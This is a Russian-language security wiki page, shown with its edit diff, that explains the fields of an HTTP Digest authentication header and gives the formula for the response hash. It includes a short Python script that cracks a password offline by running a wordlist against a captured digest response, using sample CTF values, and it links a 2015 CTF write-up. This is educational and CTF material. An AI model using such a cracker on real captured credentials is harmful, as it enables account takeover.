Digest auth — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) (Новая страница: «Дайджест-аутентификация доступа ==Описание HTTP Authorization Header== '''username''' - юзернейм авторизо…») |
Drakylar (обсуждение | вклад) м (→Полезные ссылки) |
||
(не показано 8 промежуточных версий этого же участника) | |||
Строка 10: | Строка 10: | ||
− | '''nonce''' - | + | '''nonce''' - случайно сгенерированный хеш - по стандарту md5($_SERVER[‘REMOTE_ADDR’] . ‘:’ . time() . ‘:случайная_строка’); |
Строка 16: | Строка 16: | ||
− | '''response''' | + | '''response''' |
+ | <syntaxhighlight lang="python" line="1"> | ||
+ | md5( | ||
+ | md5( | ||
+ | username +":"+ realm + ":" + pass | ||
+ | ) | ||
− | + | + ":" + nonce + ":" + | |
+ | md5( | ||
+ | REQUEST_METHOD+ ":" + REQUEST_URI | ||
+ | ) | ||
+ | ); | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | '''opaque''' - строка, предоставленная сервером, которая должна дублироваться в запросе от клиента. Предпочитаемо base64 или hexademical. | ||
Строка 26: | Строка 38: | ||
− | '''nc''' - | + | '''nc''' - номер запроса клиента из текущей сессии. Пример: 00000002 |
− | '''cnonce''' - | + | '''cnonce''' - строка, генерируемая клиентом перед каждым запросом. |
==Brutforce== | ==Brutforce== | ||
Строка 69: | Строка 81: | ||
[https://ru.wikipedia.org/wiki/%D0%94%D0%B0%D0%B9%D0%B4%D0%B6%D0%B5%D1%81%D1%82-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F#.D0.91.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D0.BD.D0.B0.D1.8F_.D1.80.D0.B5.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F официальная вики страница] | [https://ru.wikipedia.org/wiki/%D0%94%D0%B0%D0%B9%D0%B4%D0%B6%D0%B5%D1%81%D1%82-%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D1%8F#.D0.91.D1.80.D0.B0.D1.83.D0.B7.D0.B5.D1.80.D0.BD.D0.B0.D1.8F_.D1.80.D0.B5.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F официальная вики страница] | ||
+ | |||
+ | [https://tools.ietf.org/html/rfc2617 полное описание RFC] | ||
+ | |||
+ | [https://xakep.ru/2005/07/04/27203/ статья журнала Хакер] | ||
+ | |||
+ | [http://www.archival.ru/node/317 описание параметров] |
Текущая версия на 08:00, 8 ноября 2016
Дайджест-аутентификация доступа
Описание HTTP Authorization Header
username - юзернейм авторизованного пользователя
realm - сообщение (вероятнее всего содержимое страницы)
nonce - случайно сгенерированный хеш - по стандарту md5($_SERVER[‘REMOTE_ADDR’] . ‘:’ . time() . ‘:случайная_строка’);
uri - URI страницы авторизации
response
1 md5(
2 md5(
3 username +":"+ realm + ":" + pass
4 )
5
6 + ":" + nonce + ":" +
7
8 md5(
9 REQUEST_METHOD+ ":" + REQUEST_URI
10 )
11 );
opaque - строка, предоставленная сервером, которая должна дублироваться в запросе от клиента. Предпочитаемо base64 или hexademical.
qop - метод вычисления. Может быть равен auth, auth-int или не определен.
nc - номер запроса клиента из текущей сессии. Пример: 00000002
cnonce - строка, генерируемая клиентом перед каждым запросом.
Brutforce
Скрипт для брутфорса пароля зная куки:
1 ############################################################################
2 method="GET"
3 uri = "/login.php"
4 username = "factoreal"
5 realm = "this page for admin only, go out now!"
6 nonce = "554aed8c0b2d8"
7 nc = "00000001"
8 cnonce = "d6d1a0a39a93b4c3"
9 qop = "auth"
10 response="d9b58c347f96195884ce27036f3c9546"
11 ############################################################################
12 import hashlib
13 password = open('passwords.txt').read().splitlines()
14 h2 = hashlib.md5(method+":"+uri).hexdigest()
15 for i in range(len(password)):
16 h1 = hashlib.md5(username+":"+realm+":" + password[i]).hexdigest()
17 result = hashlib.md5(h1 + ":"+nonce+":"+nc+":"+cnonce+":"+qop+":" + h2).hexdigest()
18 if result == response:
19 print "[*] Password found: " + password[i]
20 exit()
Райтапы
ASIS Quals CTF 2015: Strange Authen